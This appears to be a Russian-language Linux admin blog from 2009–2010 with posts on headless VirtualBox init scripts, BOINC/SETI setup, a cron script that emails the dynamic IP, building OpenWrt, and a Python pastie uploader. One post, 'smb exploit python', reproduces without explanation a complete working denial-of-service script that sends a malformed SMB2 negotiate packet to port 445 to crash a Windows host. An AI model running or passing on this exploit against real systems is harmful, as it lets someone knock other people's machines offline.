воскресенье, 21 февраля 2010 г.

гипервизор virtualbox работа без gui

На сервере про который я писал ниже возникла необходимость поднять несколько виртуалок, сначала был выбран vmware но из-за своей матерой проприетарности
да и просто из-за того что офигеть как странно работал на анстейбле попробовал
в качестве системы виртуализации VirtualBox и мне очень понравилось, да так что решил оставить все это дело на сервере.

Так как это сервер то естественно возникла потребность, чтобы все виртуалки поднимались автоматически после ребута, а так же чтобы ими можно было управлять через
/etc/init.d/ как и любым нормальным демоном.
Недолго покурил примеры runscript и заделал вот такую штуку



#!/sbin/runscript
# polovinamozga.blogspot.com
depend() {
use dns logger
need net
provide cron
}

start() {
ebegin "Starting VBox"
/bin/su -l -c "/opt/bin/VBoxManage startvm xp --type headless" user
/bin/su -l -c "/opt/bin/VBoxManage startvm ubuntu --type headless" user
/bin/su -l -c "/opt/bin/VBoxManage startvm freebsd --type headless" user
eend $?
}

stop() {
ebegin "Stopping VBox"
/bin/su -l -c "/opt/bin/VBoxManage controlvm xp savestate" user
/bin/su -l -c "/opt/bin/VBoxManage controlvm ubuntu savestate" user
/bin/su -l -c "/opt/bin/VBoxManage controlvm freebsd savestate" user
eend $?
}



А теперь по пунктам, что вся эта черная магия значит.
depend() {
use dns logger
need net
provide cron
}
Говорит о том что нужно запускать когда включилась сеть, работает логгер,крон это если совсем вкртаце, кто хочет
большего то лучше наверное почитать что пишут по этому поводу на официальном сайте генты.
start() {
ebegin "Starting VBox"
/bin/su -l -c "/opt/bin/VBoxManage startvm xp --type headless" user
/bin/su -l -c "/opt/bin/VBoxManage startvm ubuntu --type headless" user
/bin/su -l -c "/opt/bin/VBoxManage startvm freebsd --type headless" user
eend $?
}


Так как виртуалбокс мы не будем запускать от рута в целях безопасности и по причинам особенностей разбиение дисков
то естественно его нужно запускать от пользователя итак :

/bin/su -l -c "/opt/bin/VBoxManage startvm xp --type headless" user

В переводе на русский означает:
запустить su с логином пользователя передав команду  /opt/bin/VBoxManage startvm xp --type headless 

Команда эта означает что нужно запустить виртуальную машину без окна.
Потом делаем chmod +x /etc/init.d/vbox

и rc-update add vbox default

И теперь у нас после перезапуска системы стартует демон виртуабокса.

суббота, 13 февраля 2010 г.

SETI@home

Совершенно внезапно мне в доступ попал сервер
Intel(R) Xeon(R) CPU E5540 @ 2.53GHz на котором аж целых 16ядер
























И пока сервер простаивает решено было принести пользу человечеству и накатить
туда BOINC.
 Если кто не в курсе, то это прога для организации распределенных вычислений


















Подписался я на SETI
И теперь объясню как сделать такое же в качестве демона на вашем сервере.
У меня в качестве оси стоит linux gentoo на ядре 2.6.32-r5

Итак начнем











Видно юз-флаги X и cuda х  включаем по вкусу а cuda по видеокарте
если она NVIDIA и моделей от 7ххх то наверное все же поддерживает
CUDA(если вкртаце то это обработка процессорных вычислений на GPU)
У меня на сервере нет такого, так что -cuda -X
теперь

/etc/init.d/boinc attach
    Enter the Project URL: http://setiathome.berkeley.edu/
    Enter your Account Key: 72401881112dde767ff10199blablabla

 
Теперь вкратце откуда брать аккаунт кей.
Для этого нужно регистрироваться в боинке и брать из личного профиля.

добавляем демон  в автозагрузку если еще не добавили

rc-update add boinc default

среда, 30 декабря 2009 г.

Динамический айпи уведомления

Купил на днях ноутбук и установил на него ubuntu 9.10
А так как ноут будут юзать на АДСЛ-соединении с динамическим айпи
нужно как-то выяснять какой айпи подцепил роутер.
За пару минут накалякал скрипт

cat /home/user/mailip.sh
#!/bin/sh
# получился ли адрес или что-то с сервером
[ $? -eq 0 ] && RESULT="Получено" || RESULT="Сервер недоступен"

# То что в кавычках заменить на свой адрес
MAIL_ADDR="МЫЛО@gmail.com"

IP="$(curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+")"
#curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
echo ${IP} ${RESULT} | mail -s "IP thats" $MAIL_ADDR 


Итак этот скриптик отправляет мне на мыло письмо с внешним айпи.
Теперь нужно процесс автоматизировать
cd /etc/cron.d/
nano -w mailip
# Global variables
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
1 */4 * * * root /bin/bash /home/user/mailip.sh
#*/1 * * * * root ifconfig eth0 >/tmp/testcron.log
Теперь поясню что значит это все.
Я добавил в демон крона запись
стартовать мой скрипт кажду первую минуту четвертого часа
#*/1 * * * * root ifconfig eth0 >/tmp/testcron.log
А вот это применял для тестирования демона cron
пишет вывод ifconfig eth0 каждую минуту каждого часа

Ну вот вуаля ко мне на почту приходят сообщения с айпи.
п.с.
Чтобы почта уходила я использовал ssmtp
Я раньше выкладывал как нужно правильно настраивать его.

среда, 16 декабря 2009 г.

танцы с openwrt

Недавно занялся вопросом перехода на Openwrt c dd-wrt на роутере dlink dir-320
Не долго думая выбрал прошивку от kamikaze
Итак начем.Я ее собирал на своей генте самостоятельно.
Задача стоит такая заставить работать openwrt + madwimax для сети YOTA.

Все дальнейшие команды выполняются в терминале

svn co svn://svn.openwrt.org/openwrt/branches/8.09




Скачается около 90 мегабайт исходных кодов прошивки, openwrt базируется на ядре 2.4, но есть возможность собрать и с 2.6, вот только не для dlink'овских железяк, если вдруг кто это читает и в теме, то прошу проследовать в комментарии.








дальше делаем
cd 8.09
И читаем ридмишку

This is the buildsystem for the OpenWrt Linux distribution


Please use "make menuconfig" to configure your appreciated
configuration for the toolchain and firmware.


You need to have installed gcc, binutils, patch, bzip2, flex, bison,
make, gettext, pkg-config, unzip, libz-dev and libc headers.


Simply running 'make' will build your firmware.
It will download all sources, build the cross-compile toolchain,
the kernel and all choosen applications.


You can use scripts/flash.sh for remotely updating your embedded system
via tftp.


The OpenWrt system is documented in docs/. You will need a LaTeX distribution
and the tex4ht package to build the documentation. Type make -C docs/ to build it.


Building your own firmware you need to have access to a Linux, BSD or MacOSX system.
Cygwin will not be supported because of the lack of case sensitiveness.


Sunshine!
        Your OpenWrt Project
        http://openwrt.org

Для тех кто не владеет мунспиком, тут говорится о том что на системе в которой производится компилция нужны установленные
gcc, binutils, patch, bzip2, flex, bison,
make, gettext, pkg-config, unzip, libz-dev and libc headers


 Проинсталлим дополнительные фиды (в них xwrt - вебморды и много других вкусняшек)

cd scripts
./feeds update -a
./feeds install -a









Дальше вернемся в директорию выше (8.09)
и запустим make menuconfig (прям как в генте)


















На этом первая часть саги о  компиляции openwrt заканчивается :)
Ждите продолжения.

вторник, 1 декабря 2009 г.

Сегодня на работе на своей свежей прыщегенте словил ошибку

adding static routes
SIOCADDRT: Нет такого процесса

Айпи выдается через dhcp сервер, сервис net.eth0 помещен в boot
Туда же в бут помещен и /etc/init.d/network
Погуглив немного видел решения с добавлением sleep 5
в тот самый нетворкинг, я сделал проще перетащил его в default из boot.
Эффект тот же а работает приятнее.

воскресенье, 29 ноября 2009 г.

smb exploit python

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "192.168.0.100", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->  normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close() 

вторник, 27 октября 2009 г.

python

Вообщем я написал скриптик, который отправляет текст на пастие.орг
в целях изучения языка Python, планирую приделать фичу скармливания ему файлов.


#!/usr/bin/python
# -*- coding: utf-8 -*-
from BeautifulSoup import BeautifulSoup
import urllib2
import urllib
import httplib
import re


url = 'http://pastie.org/pastes/' # ттут живет паста
values = {
'paste[body]' : open(raw_input('Введите прыщепуть: \n')).read(), # тело пасты
'paste[parser_id]':'4', #код которым подсвечивать 4 ruby
'paste[restricted]':'0', # паста не приватная
'paste[authorization]':'burger', # показывает такой логин в хедерах
'key' : '',
'commit' : 'Paste'
 }

data = urllib.urlencode(values)
resp = urllib2.urlopen(url, data)

html = resp.read()
soup = BeautifulSoup(html)
find = soup.findAll( 'p', 'smallutils')
#print soup.prettify()
print find